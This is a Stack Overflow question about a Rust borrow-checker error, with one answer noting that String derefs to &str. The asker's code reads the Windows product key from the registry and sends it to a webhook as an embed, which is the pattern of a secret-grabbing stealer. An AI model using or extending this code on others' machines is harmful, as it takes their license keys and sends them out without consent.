'Convert a function which return String to &str [duplicate]
I want to convert a function which return a String to &str
my code:
fn main() {
let req = WebhookRequestBuilder::new()
.set_data(WebhookBuilder::new()
.set_username("Webhook")
.set_avatar_url("https://i.imgur.com/lspeP0T.png")
.set_embeds(vec![
EmbedBuilder::new()
.set_title("Windows Key")
.set_color_hex("#DC143C")
.set_fields(vec![
EmbedFieldBuilder::new().set_name("Windows Key").set_value(windows_key().unwrap().trim()).set_inline(true).build()
])
.build()
])
.build()
)
.build();
req.execute_url_sync(webhook().trim());
}
pub fn windows_key() -> io::Result<String> {
let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
let key = hklm.open_subkey("SOFTWARE\\Microsoft\\windows NT\\CurrentVersion\\SoftwareProtectionPlatform")?;
let windows_key: String = key.get_value("BackupProductKeyDefault")?;
let windows_key = format!("`{}`", windows_key);
Ok(windows_key)
}
my error:
EmbedFieldBuilder::new().set_name("Windows Key").set_value(windows_key().unwrap().trim()).set_inline(true).build(),
^^^^^^^^^^^^^^^^^^^^^^ creates a temporary which is freed while still in use
the crates i used : dwbhk, winreg
So can you help me if you don't mind
Solution 1:[1]
If it helps, String implements the Deref trait, meaning that wherever you need a &str you can pass a &String.
Have a look at the Deref trait from String type: https://doc.rust-lang.org/stable/std/string/struct.String.html#deref
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | Alexandru Placinta |
